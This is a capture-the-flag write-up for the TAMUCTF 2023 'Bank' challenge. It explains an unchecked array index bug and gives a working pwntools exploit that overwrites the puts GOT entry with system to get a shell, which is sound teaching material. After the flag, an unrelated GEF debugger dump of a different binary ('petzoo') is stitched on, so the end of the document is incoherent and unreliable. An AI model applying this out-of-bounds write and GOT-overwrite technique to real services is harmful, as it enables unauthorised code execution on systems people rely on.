Bank
05/04/2023
By: unvariant
Tags: pwn TAMUCTF-2023Problem Description:
I came up with this banking system that lets you deposit as much as you want. I'm not sure why, but my friend said it was a terrible idea...
Hints:
Reveal Hints
NoneThe challenge provides a few files:
├── bank
├── bank.c
├── libc.so.6
└── solver-template.py
bank.c
is fairly simple:
#include <stdio.h>
long accounts[100];
char exit_msg[] = "Have a nice day!";
void deposit() {
int index = 0;
long amount = 0;
puts("Enter the number (0-100) of the account you want to deposit in: ");
scanf("%d", &index);
puts("Enter the amount you want to deposit: ");
scanf("%ld", &amount);
accounts[index] += amount;
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
deposit();
deposit();
puts(exit_msg);
}
The vulnerable function is deposit
because it allows the user to control the value of index and does not perform any
bounds checking. This allows the user to supply positive and negative indices that are outside of the array and modify them.
Another thing to notice is that the exit_msg
string is in the .data
section, which means we are able to modify it.
Exploit
- modify
puts
GOT entry tosystem
- modify
exit_msg
to/bin/sh
They provide us the libc so we know the offset of puts
from system
, and the binary is no-PIE so the address of exit_msg
is known. After performing these two modifications puts
will call system("/bin/sh")
and give us a shell.
Solve script
from pwn import *
file = ELF("./bank")
libc = ELF("./libc.so.6")
p = remote("tamuctf.com", 443, ssl=True, sni="bank")
offset = (file.got["puts"] - file.symbols["accounts"]) // 8
addend = libc.symbols["system"] - libc.symbols["puts"]
print(f"offset: {offset}")
print(f"system: {addend}")
p.sendlineafter(b": ", str(offset).encode())
p.sendlineafter(b": ", str(addend).encode())
offset = (file.symbols["exit_msg"] - file.symbols["accounts"]) // 8
addend = u64(b"/bin/sh\x00") - u64(b"Have a n")
p.sendlineafter(b": ", str(offset).encode())
p.sendlineafter(b": ", str(addend).encode())
p.interactive()
Flag: gigem{a_v3ry_h3fty_d3p0s1t}
[ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x000055ad4eb4b57a → <main+0> endbr64 $rbx : 0x000055ad4eb4c1b0 → <__libc_csu_init+0> endbr64 $rcx : 0x100 $rdx : 0x00007ffff342dec8 → 0x00007ffff342fbc7 → "KDE_FULL_SESSION=true" $rsp : 0x00007ffff342ddc0 → 0x0000000000000000 $rbp : 0x00007ffff342ddc0 → 0x0000000000000000 $rsi : 0x00007ffff342deb8 → 0x00007ffff342fbbe → "./petzoo" $rdi : 0x1 $rip : 0x000055ad4eb4b582 → <main+8> push rbx $r8 : 0x0 $r9 : 0x00007f5e2bac0ec0 → 0x00007f5e2bac0008 → 0x00007f5e2b996c90 → <__cxxabiv1::__class_type_info::~__class_type_info()+0> endbr64 $r10 : 0x00007f5e2b9441d5 → "_ZSt9use_facetISt7num_getIwSt19istreambuf_iterator[...]" $r11 : 0x00007f5e2ba37940 → <std::num_get<wchar_t,+0> endbr64 $r12 : 0x000055ad4eb4b310 → <_start+0> endbr64 $r13 : 0x00007ffff342deb0 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007ffff342ddc0│+0x0000: 0x0000000000000000 ← $rsp, $rbp 0x00007ffff342ddc8│+0x0008: 0x00007f5e2b7080b3 → <__libc_start_main+243> mov edi, eax 0x00007ffff342ddd0│+0x0010: 0x00007f5e2b8ccb80 → 0x0000000000000000 0x00007ffff342ddd8│+0x0018: 0x00007ffff342deb8 → 0x00007ffff342fbbe → "./petzoo" 0x00007ffff342dde0│+0x0020: 0x0000000100011c00 0x00007ffff342dde8│+0x0028: 0x000055ad4eb4b57a → <main+0> endbr64 0x00007ffff342ddf0│+0x0030: 0x000055ad4eb4c1b0 → <__libc_csu_init+0> endbr64 0x00007ffff342ddf8│+0x0038: 0xdfffe3bceac6adbf ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55ad4eb4b57a <main+0> endbr64 0x55ad4eb4b57e <main+4> push rbp 0x55ad4eb4b57f <main+5> mov rbp, rsp → 0x55ad4eb4b582 <main+8> push rbx 0x55ad4eb4b583 <main+9> sub rsp, 0x2e8 0x55ad4eb4b58a <main+16> mov rax, QWORD PTR fs:0x28 0x55ad4eb4b593 <main+25> mov QWORD PTR [rbp-0x18], rax 0x55ad4eb4b597 <main+29> xor eax, eax 0x55ad4eb4b599 <main+31> mov rax, QWORD PTR [rip+0x3aa0] # 0x55ad4eb4f040 <stdout@@GLIBC_2.2.5> ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "petzoo", stopped 0x55ad4eb4b582 in main (), reason: BREAKPOINT ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x55ad4eb4b582 → main() [#1] 0x7f5e2b7080b3 → __libc_start_main() [#2] 0x55ad4eb4b33e → _start() ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤